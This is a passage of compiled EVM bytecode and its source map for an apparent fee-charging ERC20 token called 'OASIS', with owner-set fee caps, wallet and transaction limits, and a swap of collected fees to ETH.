0391821691161490565b34801561025957600080fd5b5060405160098152602001610175565b34801561027557600080fd5b506101c3610284366004611620565b6001600160a01b031660009081526001602052604090205490565b3480156102ab57600080fd5b5061021c610590565b3480156102c057600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610175565b3480156102f257600080fd5b506101c3600c5481565b34801561030857600080fd5b506040805180820190915260058152644f4153495360d81b6020820152610168565b34801561033657600080fd5b5061021c61034536600461163d565b6105ff565b34801561035657600080fd5b5061019e6103653660046115b3565b610740565b34801561037657600080fd5b5061021c610385366004611669565b61074d565b34801561039657600080fd5b5061019e6103a5366004611620565b60036020526000908152604090205460ff1681565b3480156103c657600080fd5b506101c36103d53660046116b5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561040c57600080fd5b506009546102ce906001600160a01b031681565b34801561042c57600080fd5b5061021c61043b366004611620565b610842565b34801561044c57600080fd5b506101c3600e5481565b60006104633384846108c0565b5060015b92915050565b60016020527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb495461dead60009081527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d5460045491926104d99290916104d391906109e4565b906109e4565b905090565b60006104eb8484846109f0565b61053d843361053885604051806060016040528060288152602001611856602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f3d565b6108c0565b5060015b9392505050565b6000546001600160a01b0316331461057b5760405162461bcd60e51b8152600401610572906116ee565b60405180910390fd5b6009805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105ba5760405162461bcd60e51b8152600401610572906116ee565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146106295760405162461bcd60e51b8152600401610572906116ee565b600061064c61271061064686600454610f6990919063ffffffff16565b90610f75565b9050600061066b61271061064686600454610f6990919063ffffffff16565b9050600061068a61271061064686600454610f6990919063ffffffff16565b600c849055600d839055600e819055905060006106b66103e861064660056106b061046d565b90610f69565b90508084101580156106c85750808310155b80156106d45750808210155b6107375760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610572565b50505050505050565b60006104633384846109f0565b6000546001600160a01b031633146107775760405162461bcd60e51b8152600401610572906116ee565b600f8790556010869055601285905560118490556013839055601482905560158190556016546107a8906001610f75565b601354111580156107c857506016546107c2906001610f75565b60145411155b80156107e357506016546107dd906001610f75565b60155411155b6107375760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b6064820152608401610572565b6000546001600160a01b0316331461086c5760405162461bcd60e51b8152600401610572906116ee565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166109225760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610572565b6001600160a01b0382166109835760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610572565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006105418284611724565b6001600160a01b038316610a545760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610572565b6001600160a01b038216610ab65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610572565b6001600160a01b038316600090815260016020526040902054811115610b385760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610572565b6001600160a01b03831660009081526003602052604090205460ff16158015610b7a57506001600160a01b03821660009081526003602052604090205460ff16155b15610bc457600954600160a01b900460ff16610bc45760405162461bcd60e51b8152602060048201526009602482015268189d5e53dc195b995960ba1b6044820152606401610572565b6001600160a01b03831660009081526003602052604090205460ff16158015610c0657506001600160a01b03821660009081526003602052604090205460ff16155b8015610c2057506009546001600160a01b03838116911614155b8015610c3757506001600160a01b03821661dead14155b15610cb057600e546001600160a01b038316600090815260016020526040902054610c629083610f81565b1115610cb05760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610572565b6009546001600160a01b03848116911614610d5157600d5481111580610cee57506001600160a01b03831660009081526003602052604090205460ff165b80610d1157506001600160a01b03821660009081526003602052604090205460ff165b610d515760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610572565b600c5481111580610d7a57506001600160a01b03831660009081526003602052604090205460ff165b80610d9d57506001600160a01b03821660009081526003602052604090205460ff165b610ddd5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610572565b6009546001600160a01b038381169116148015610e1357506001600160a01b03831660009081526003602052604090205460ff16155b15610e3157600160056000828254610e2b9190611737565b90915550505b610e3c838383610f8d565b15610e5257610e4c600a54611047565b60006005555b6001600160a01b038316600090815260016020526040902054610e7590826109e4565b6001600160a01b038416600090815260016020908152604080832093909355600390529081205460ff1615610eaa5781610eb5565b610eb58484846111c4565b6001600160a01b038416600090815260016020526040902054909150610edb9082610f81565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f2f9085815260200190565b60405180910390a350505050565b60008184841115610f615760405162461bcd60e51b8152600401610572919061154d565b505050900390565b6000610541828461174a565b60006105418284611761565b60006105418284611737565b600b54600a543060009081526001602052604081205460065491938510159211159060ff16158015610fc85750600954600160a81b900460ff165b8015610fdd5750600954600160a01b900460ff165b8015610fe65750815b801561100b57506001600160a01b03861660009081526003602052604090205460ff16155b801561102457506009546001600160a01b038681169116145b8015611034575060075460055410155b801561103d5750805b9695505050505050565b6006805460ff19166001908117909155601154601054600f54600093611081936002936106b093919261107b928391610f81565b90610f81565b9050600061109e82610646600f5486610f6990919063ffffffff16565b905060006110ac84836109e4565b9050476110b8826112f4565b60006110c447836109e4565b905060006110e76110e0600f54886109e490919063ffffffff16565b8390610f75565b90506000611100600f5483610f6990919063ffffffff16565b9050801561111257611112868261144e565b601054600090611127906106b0856002610f69565b9050801561116b576018546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611169573d6000803e3d6000fd5b505b4780156111ae576017546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156111ac573d6000803e3d6000fd5b505b50506006805460ff191690555050505050505050565b6001600160a01b03821660009081526003602052604081205460ff16156111ee5750600c54610541565b60006111fa8585611502565b11156112ed57600061121d61120f8686611502565b6016546106b0908690610f75565b3060009081526001602052604090205490915061123a9082610f81565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061128b9085815260200190565b60405180910390a360006012541180156112af57506012546112ad8686611502565b115b156112db576112db3061dead6112d66012546106b060165489610f7590919063ffffffff16565b6109f0565b6112e583826109e4565b915050610541565b5092915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061132957611329611783565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611382573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a69190611799565b816001815181106113b9576113b9611783565b6001600160a01b0392831660209182029290920101526008546113df91309116846108c0565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906114189085906000908690309042906004016117b6565b600060405180830381600087803b15801561143257600080fd5b505af1158015611446573d6000803e3d6000fd5b505050505050565b6008546114669030906001600160a01b0316846108c0565b60085460195460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156114d6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114fb9190611827565b5050505050565b6009546000906001600160a01b03908116908316036115245750601454610467565b6009546001600160a01b03908116908416036115435750601354610467565b5060155492915050565b600060208083528351808285015260005b8181101561157a5785810183015185820160400152820161155e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115b057600080fd5b50565b600080604083850312156115c657600080fd5b82356115d18161159b565b946020939093013593505050565b6000806000606084860312156115f457600080fd5b83356115ff8161159b565b9250602084013561160f8161159b565b929592945050506040919091013590565b60006020828403121561163257600080fd5b81356105418161159b565b60008060006060848603121561165257600080fd5b505081359360208301359350604090920135919050565b600080600080600080600060e0888a03121561168457600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b600080604083850312156116c857600080fd5b82356116d38161159b565b915060208301356116e38161159b565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156104675761046761170e565b808201808211156104675761046761170e565b80820281158282048414176104675761046761170e565b60008261177e57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156117ab57600080fd5b81516105418161159b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118065784516001600160a01b0316835293830193918301916001016117e1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561183c57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ce035a86b7de594bbfe3efc51304ad174392c8e6d9086733f4ceb95bde5552b864736f6c63430008130033

Deployed Bytecode Sourcemap

3783:9661:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6145:67;;;;;;;;;;-1:-1:-1;6205:5:0;;;;;;;;;;;;-1:-1:-1;;;6205:5:0;;;;6145:67;;;;;;;:::i;:::-;;;;;;;;12178:133;;;;;;;;;;-1:-1:-1;12178:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;12178:133:0;1023:187:1;12317:132:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;12317:132:0;1215:177:1;4745:59:0;;;;;;;;;;;;;;;;6295:309;;;;;;;;;;-1:-1:-1;6295:309:0;;;;;:::i;:::-;;:::i;12110:62::-;;;;;;;;;;;;;:::i;:::-;;1765:87;;;;;;;;;;-1:-1:-1;1765:87:0;;;;;:::i;:::-;1820:4;1845:5;-1:-1:-1;;;;;1834:16:0;;;1845:5;;1834:16;;1765:87;6218:67;;;;;;;;;;-1:-1:-1;6218:67:0;;4179:1;2252:36:1;;2240:2;2225:18;6218:67:0;2110:184:1;6951:103:0;;;;;;;;;;-1:-1:-1;6951:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7034:18:0;7017:7;7034:18;;;:9;:18;;;;;;;6951:103;1858:106;;;;;;;;;;;;;:::i;7205:78::-;;;;;;;;;;-1:-1:-1;7257:7:0;7275:5;-1:-1:-1;;;;;7275:5:0;7205:78;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;7205:78:0;2299:203:1;4679:59:0;;;;;;;;;;;;;;;;6068:71;;;;;;;;;;-1:-1:-1;6130:7:0;;;;;;;;;;;;-1:-1:-1;;;6130:7:0;;;;6068:71;;8096:546;;;;;;;;;;-1:-1:-1;8096:546:0;;;;;:::i;:::-;;:::i;7060:139::-;;;;;;;;;;-1:-1:-1;7060:139:0;;;;;:::i;:::-;;:::i;10150:518::-;;;;;;;;;;-1:-1:-1;10150:518:0;;;;;:::i;:::-;;:::i;3982:43::-;;;;;;;;;;-1:-1:-1;3982:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7289:127;;;;;;;;;;-1:-1:-1;7289:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7387:18:0;;;7370:7;7387:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7289:127;4373:23;;;;;;;;;;-1:-1:-1;4373:23:0;;;;-1:-1:-1;;;;;4373:23:0;;;1970:111;;;;;;;;;;-1:-1:-1;1970:111:0;;;;;:::i;:::-;;:::i;4811:57::-;;;;;;;;;;;;;;;;12178:133;12253:4;12260:37;12269:10;12281:7;12290:6;12260:8;:37::i;:::-;-1:-1:-1;12305:4:0;12178:133;;;;;:::o;12317:132::-;7034:9;:18;;;;5219:42;12370:7;7034:18;;;;;12387:12;;12370:7;;12387:60;;7034:18;;12387:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;12380:67;;12317:132;:::o;6295:309::-;6393:4;6410:36;6420:6;6428:9;6439:6;6410:9;:36::i;:::-;6457:117;6466:6;6474:10;6486:87;6522:6;6486:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6486:19:0;;;;;;:11;:19;;;;;;;;6506:10;6486:31;;;;;;;;;:87;:35;:87::i;:::-;6457:8;:117::i;:::-;-1:-1:-1;6592:4:0;6295:309;;;;;;:::o;12110:62::-;1820:4;1845:5;-1:-1:-1;;;;;1845:5:0;1732:10;1834:16;1716:38;;;;-1:-1:-1;;;1716:38:0;;;;;;;:::i;:::-;;;;;;;;;12154:9:::1;:16:::0;;-1:-1:-1;;;;12154:16:0::1;-1:-1:-1::0;;;12154:16:0::1;::::0;;12110:62::o;1858:106::-;1820:4;1845:5;-1:-1:-1;;;;;1845:5:0;1732:10;1834:16;1716:38;;;;-1:-1:-1;;;1716:38:0;;;;;;;:::i;:::-;1921:1:::1;1905:18:::0;;-1:-1:-1;;;;;;1905:18:0::1;::::0;;1930:32:::1;::::0;2445:51:1;;;1930:32:0::1;::::0;2433:2:1;2418:18;1930:32:0::1;;;;;;;1858:106::o:0;8096:546::-;1820:4;1845:5;-1:-1:-1;;;;;1845:5:0;1732:10;1834:16;1716:38;;;;-1:-1:-1;;;1716:38:0;;;;;;;:::i;:::-;8202:13:::1;8218:33;8245:5;8218:22;8235:4;8218:12;;:16;;:22;;;;:::i;:::-;:26:::0;::::1;:33::i;:::-;8202:49;;8253:19;8275:34;8303:5;8275:23;8292:5;8275:12;;:16;;:23;;;;:::i;:34::-;8253:56;;8311:17;8331:36;8361:5;8331:25;8348:7;8331:12;;:16;;:25;;;;:::i;:36::-;8378:11;:19:::0;;;8399:11:::1;:25:::0;;;8426:9:::1;:21:::0;;;8311:56;-1:-1:-1;;8474:30:0::1;8499:4;8474:20;8492:1;8474:13;:11;:13::i;:::-;:17:::0;::::1;:20::i;:30::-;8458:46;;8532:5;8523;:14;;:38;;;;;8556:5;8541:11;:20;;8523:38;:60;;;;;8578:5;8565:9;:18;;8523:60;8515:119;;;::::0;-1:-1:-1;;;8515:119:0;;4614:2:1;8515:119:0::1;::::0;::::1;4596:21:1::0;4653:2;4633:18;;;4626:30;4692:34;4672:18;;;4665:62;-1:-1:-1;;;4743:18:1;;;4736:44;4797:19;;8515:119:0::1;4412:410:1::0;8515:119:0::1;8191:451;;;;8096:546:::0;;;:::o;7060:139::-;7138:4;7145:40;7155:10;7167:9;7178:6;7145:9;:40::i;10150:518::-;1820:4;1845:5;-1:-1:-1;;;;;1845:5:0;1732:10;1834:16;1716:38;;;;-1:-1:-1;;;1716:38:0;;;;;;;:::i;:::-;10340:12:::1;:25:::0;;;10367:12:::1;:25:::0;;;10394:7:::1;:15:::0;;;10411:14:::1;:29:::0;;;10442:6:::1;:15:::0;;;10459:7:::1;:15:::0;;;10476:11:::1;:20:::0;;;10525:11:::1;::::0;:18:::1;::::0;-1:-1:-1;10525:15:0::1;:18::i;:::-;10515:6;;:28;;:61;;;;-1:-1:-1::0;10558:11:0::1;::::0;:18:::1;::::0;10574:1:::1;10558:15;:18::i;:::-;10547:7;;:29;;10515:61;:98;;;;-1:-1:-1::0;10595:11:0::1;::::0;:18:::1;::::0;10611:1:::1;10595:15;:18::i;:::-;10580:11;;:33;;10515:98;10507:153;;;::::0;-1:-1:-1;;;10507:153:0;;5029:2:1;10507:153:0::1;::::0;::::1;5011:21:1::0;5068:2;5048:18;;;5041:30;5107:34;5087:18;;;5080:62;-1:-1:-1;;;5158:18:1;;;5151:40;5208:19;;10507:153:0::1;4827:406:1::0;1970:111:0;1820:4;1845:5;-1:-1:-1;;;;;1845:5:0;1732:10;1834:16;1716:38;;;;-1:-1:-1;;;1716:38:0;;;;;;;:::i;:::-;2036:5:::1;:11:::0;;-1:-1:-1;;;;;;2036:11:0::1;-1:-1:-1::0;;;;;2036:11:0;::::1;::::0;;::::1;::::0;;;2054:25:::1;::::0;2445:51:1;;;2054:25:0::1;::::0;2433:2:1;2418:18;2054:25:0::1;;;;;;;1970:111:::0;:::o;6610:335::-;-1:-1:-1;;;;;6703:19:0;;6695:68;;;;-1:-1:-1;;;6695:68:0;;5656:2:1;6695:68:0;;;5638:21:1;5695:2;5675:18;;;5668:30;5734:34;5714:18;;;5707:62;-1:-1:-1;;;5785:18:1;;;5778:34;5829:19;;6695:68:0;5454:400:1;6695:68:0;-1:-1:-1;;;;;6782:21:0;;6774:68;;;;-1:-1:-1;;;6774:68:0;;6061:2:1;6774:68:0;;;6043:21:1;6100:2;6080:18;;;6073:30;6139:34;6119:18;;;6112:62;-1:-1:-1;;;6190:18:1;;;6183:32;6232:19;;6774:68:0;5859:398:1;6774:68:0;-1:-1:-1;;;;;6853:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6905:32;;1361:25:1;;;6905:32:0;;1334:18:1;6905:32:0;;;;;;;6610:335;;;:::o;418:98::-;476:7;503:5;507:1;503;:5;:::i;10674:1430::-;-1:-1:-1;;;;;10771:20:0;;10763:70;;;;-1:-1:-1;;;10763:70:0;;6729:2:1;10763:70:0;;;6711:21:1;6768:2;6748:18;;;6741:30;6807:34;6787:18;;;6780:62;-1:-1:-1;;;6858:18:1;;;6851:35;6903:19;;10763:70:0;6527:401:1;10763:70:0;-1:-1:-1;;;;;10852:23:0;;10844:71;;;;-1:-1:-1;;;10844:71:0;;7135:2:1;10844:71:0;;;7117:21:1;7174:2;7154:18;;;7147:30;7213:34;7193:18;;;7186:62;-1:-1:-1;;;7264:18:1;;;7257:33;7307:19;;10844:71:0;6933:399:1;10844:71:0;-1:-1:-1;;;;;7034:18:0;;7017:7;7034:18;;;:9;:18;;;;;;10934:6;:27;;10926:88;;;;-1:-1:-1;;;10926:88:0;;7539:2:1;10926:88:0;;;7521:21:1;7578:2;7558:18;;;7551:30;7617:34;7597:18;;;7590:62;-1:-1:-1;;;7668:18:1;;;7661:47;7725:19;;10926:88:0;7337:413:1;10926:88:0;-1:-1:-1;;;;;11029:18:0;;;;;;:10;:18;;;;;;;;11028:19;:45;;;;-1:-1:-1;;;;;;11052:21:0;;;;;;:10;:21;;;;;;;;11051:22;11028:45;11025:83;;;11083:9;;-1:-1:-1;;;11083:9:0;;;;11075:31;;;;-1:-1:-1;;;11075:31:0;;7957:2:1;11075:31:0;;;7939:21:1;7996:1;7976:18;;;7969:29;-1:-1:-1;;;8014:18:1;;;8007:39;8063:18;;11075:31:0;7755:332:1;11075:31:0;-1:-1:-1;;;;;11122:18:0;;;;;;:10;:18;;;;;;;;11121:19;:45;;;;-1:-1:-1;;;;;;11145:21:0;;;;;;:10;:21;;;;;;;;11144:22;11121:45;:79;;;;-1:-1:-1;11191:8:0;;-1:-1:-1;;;;;11170:30:0;;;11191:8;;11170:30;;11121:79;:109;;;;-1:-1:-1;;;;;;11204:26:0;;5219:42;11204:26;;11121:109;11118:216;;;11288:9;;-1:-1:-1;;;;;11251:20:0;;;;;;:9;:20;;;;;;:32;;11276:6;11251:24;:32::i;:::-;11250:47;;11242:90;;;;-1:-1:-1;;;11242:90:0;;8294:2:1;11242:90:0;;;8276:21:1;8333:2;8313:18;;;8306:30;8372:32;8352:18;;;8345:60;8422:18;;11242:90:0;8092:354:1;11242:90:0;11357:8;;-1:-1:-1;;;;;11347:18:0;;;11357:8;;11347:18;11344:123;;11385:11;;11375:6;:21;;:43;;;-1:-1:-1;;;;;;11400:18:0;;;;;;:10;:18;;;;;;;;11375:43;:68;;;-1:-1:-1;;;;;;11422:21:0;;;;;;:10;:21;;;;;;;;11375:68;11367:98;;;;-1:-1:-1;;;11367:98:0;;8653:2:1;11367:98:0;;;8635:21:1;8692:2;8672:18;;;8665:30;-1:-1:-1;;;8711:18:1;;;8704:47;8768:18;;11367:98:0;8451:341:1;11367:98:0;11495:11;;11485:6;:21;;:43;;;-1:-1:-1;;;;;;11510:18:0;;;;;;:10;:18;;;;;;;;11485:43;:68;;;-1:-1:-1;;;;;;11532:21:0;;;;;;:10;:21;;;;;;;;11485:68;11477:98;;;;-1:-1:-1;;;11477:98:0;;8653:2:1;11477:98:0;;;8635:21:1;8692:2;8672:18;;;8665:30;-1:-1:-1;;;8711:18:1;;;8704:47;8768:18;;11477:98:0;8451:341:1;11477:98:0;11603:8;;-1:-1:-1;;;;;11590:21:0;;;11603:8;;11590:21;:44;;;;-1:-1:-1;;;;;;11616:18:0;;;;;;:10;:18;;;;;;;;11615:19;11590:44;11587:80;;;11663:1;11636:15;;:29;;;;;;;:::i;:::-;;;;-1:-1:-1;;11587:80:0;11680:46;11700:6;11708:9;11719:6;11680:19;:46::i;:::-;11677:118;;;11728:35;11750:12;;11728:21;:35::i;:::-;11791:1;11765:15;:28;11677:118;-1:-1:-1;;;;;11825:17:0;;;;;;:9;:17;;;;;;:29;;11847:6;11825:21;:29::i;:::-;-1:-1:-1;;;;;11805:17:0;;;;;;:9;:17;;;;;;;;:49;;;;11891:10;:18;;;;;;;;11890:19;:73;;11957:6;11890:73;;;11912:42;11928:6;11936:9;11947:6;11912:15;:42::i;:::-;-1:-1:-1;;;;;11997:20:0;;;;;;:9;:20;;;;;;11865:98;;-1:-1:-1;11997:40:0;;11865:98;11997:24;:40::i;:::-;-1:-1:-1;;;;;11974:20:0;;;;;;;:9;:20;;;;;;;:63;;;;12053:43;;;;;;;;;;12081:14;1361:25:1;;1349:2;1334:18;;1215:177;12053:43:0;;;;;;;;10752:1352;10674:1430;;;:::o;842:240::-;962:7;1023:12;1015:6;;;;1007:29;;;;-1:-1:-1;;;1007:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1058:5:0;;;842:240::o;524:98::-;582:7;609:5;613:1;609;:5;:::i;630:98::-;688:7;715:5;719:1;715;:5;:::i;312:98::-;370:7;397:5;401:1;397;:5;:::i;12688:406::-;12834:12;;12907;;12897:4;12791;7034:18;;;:9;:18;;;;;;12938:8;;12791:4;;12824:22;;;;-1:-1:-1;12879:40:0;;12938:8;;12937:9;:24;;;;-1:-1:-1;12950:11:0;;-1:-1:-1;;;12950:11:0;;;;12937:24;:37;;;;-1:-1:-1;12965:9:0;;-1:-1:-1;;;12965:9:0;;;;12937:37;:49;;;;;12978:8;12937:49;:72;;;;-1:-1:-1;;;;;;12991:18:0;;;;;;:10;:18;;;;;;;;12990:19;12937:72;:97;;;;-1:-1:-1;13026:8:0;;-1:-1:-1;;;;;13013:21:0;;;13026:8;;13013:21;12937:97;:131;;;;;13057:11;;13038:15;;:30;;12937:131;:149;;;;;13072:14;12937:149;12930:156;12688:406;-1:-1:-1;;;;;;12688:406:0:o;9102:1042::-;4635:8;:15;;-1:-1:-1;;4635:15:0;4646:4;4635:15;;;;;;9243:14:::1;::::0;9225:12:::1;::::0;9201::::1;::::0;4635:8;;9200:66:::1;::::0;9264:1:::1;::::0;9201:57:::1;::::0;9243:14;;9201:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;9200:66::-;9177:89;;9277:32;9312:42;9341:12;9312:24;9323:12;;9312:6;:10;;:24;;;;:::i;:42::-;9277:77:::0;-1:-1:-1;9365:14:0::1;9382:36;:6:::0;9277:77;9382:10:::1;:36::i;:::-;9365:53:::0;-1:-1:-1;9454:21:0::1;9486:23;9365:53:::0;9486:15:::1;:23::i;:::-;9520:20;9543:41;:21;9569:14:::0;9543:25:::1;:41::i;:::-;9520:64;;9595:19;9616:48;9633:30;9650:12;;9633;:16;;:30;;;;:::i;:::-;9616:12:::0;;:16:::1;:48::i;:::-;9595:69;;9675:29;9707;9723:12;;9707:11;:15;;:29;;;;:::i;:::-;9675:61:::0;-1:-1:-1;9750:34:0;;9747:103:::1;;9786:61;9799:24;9825:21;9786:12;:61::i;:::-;9906:12;::::0;9860:20:::1;::::0;9883:36:::1;::::0;:18:::1;:11:::0;9899:1:::1;9883:15;:18::i;:36::-;9860:59:::0;-1:-1:-1;9933:16:0;;9930:62:::1;;9959:7;::::0;9951:39:::1;::::0;-1:-1:-1;;;;;9959:7:0;;::::1;::::0;9951:39;::::1;;;::::0;9977:12;;9959:7:::1;9951:39:::0;9959:7;9951:39;9977:12;9959:7;9951:39;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9930:62;10028:21;10063:28:::0;;10060:77:::1;;10101:7;::::0;10093:42:::1;::::0;-1:-1:-1;;;;;10101:7:0;;::::1;::::0;10093:42;::::1;;;::::0;10119:15;;10101:7:::1;10093:42:::0;10101:7;10093:42;10119:15;10101:7;10093:42;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10060:77;-1:-1:-1::0;;4655:8:0;:16;;-1:-1:-1;;4655:16:0;;;-1:-1:-1;;;;;;;;9102:1042:0:o;7428:662::-;-1:-1:-1;;;;;7546:21:0;;7522:7;7546:21;;;:10;:21;;;;;;;;7542:48;;;-1:-1:-1;7577:11:0;;7570:18;;7542:48;7638:1;7603:32;7617:6;7625:9;7603:13;:32::i;:::-;:36;7600:468;;;7651:17;7671:61;7699:32;7713:6;7721:9;7699:13;:32::i;:::-;7682:11;;7671:23;;:6;;:10;:23::i;:61::-;7788:4;7770:24;;;;:9;:24;;;;;;7651:81;;-1:-1:-1;7770:39:0;;7651:81;7770:28;:39::i;:::-;7761:4;7743:24;;;;:9;:24;;;;;;;:66;;;;7825:42;;-1:-1:-1;;;;;7825:42:0;;;;;;;7857:9;1361:25:1;;1349:2;1334:18;;1215:177;7825:42:0;;;;;;;;7899:1;7881:7;;:20;:66;;;;;7940:7;;7905:32;7919:6;7927:9;7905:13;:32::i;:::-;:42;7881:66;7878:150;;;7949:77;7967:4;5219:42;7989:36;8017:7;;7989:23;8000:11;;7989:6;:10;;:23;;;;:::i;:36::-;7949:9;:77::i;:::-;8045:21;:6;8056:9;8045:10;:21::i;:::-;8038:28;;;;;7600:468;-1:-1:-1;8076:6:0;7428:662;-1:-1:-1;;7428:662:0:o;8648:448::-;8737:16;;;8751:1;8737:16;;;;;;;;8713:21;;8737:16;;;;;;;;;;-1:-1:-1;8737:16:0;8713:40;;8782:4;8764;8769:1;8764:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8764:23:0;;;:7;;;;;;;;;;:23;;;;8808:11;;:18;;;-1:-1:-1;;;8808:18:0;;;;:11;;;;;:16;;:18;;;;;8764:7;;8808:18;;;;;:11;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8798:4;8803:1;8798:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8798:28:0;;;:7;;;;;;;;;:28;8869:11;;8837:58;;8854:4;;8869:11;8883;8837:8;:58::i;:::-;8906:11;;:182;;-1:-1:-1;;;8906:182:0;;-1:-1:-1;;;;;8906:11:0;;;;:62;;:182;;8983:11;;8906;;9025:4;;9052;;9072:15;;8906:182;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8702:394;8648:448;:::o;13100:341::-;13213:11;;13181:58;;13198:4;;-1:-1:-1;;;;;13213:11:0;13227;13181:8;:58::i;:::-;13250:11;;13396:6;;13250:183;;-1:-1:-1;;;13250:183:0;;13318:4;13250:183;;;11168:34:1;11218:18;;;11211:34;;;13250:11:0;11261:18:1;;;11254:34;;;11304:18;;;11297:34;-1:-1:-1;;;;;13396:6:0;;;11347:19:1;;;11340:44;13417:15:0;11400:19:1;;;11393:35;13250:11:0;;;:27;;13285:9;;11102:19:1;;13250:183:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;13100:341;;:::o;12455:227::-;12572:8;;12536:7;;-1:-1:-1;;;;;12572:8:0;;;12559:21;;;;12556:42;;-1:-1:-1;12589:7:0;;12582:14;;12556:42;12621:8;;-1:-1:-1;;;;;12621:8:0;;;12611:18;;;;12608:38;;-1:-1:-1;12638:6:0;;12631:13;;12608:38;-1:-1:-1;12663:11:0;;12455:227;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:1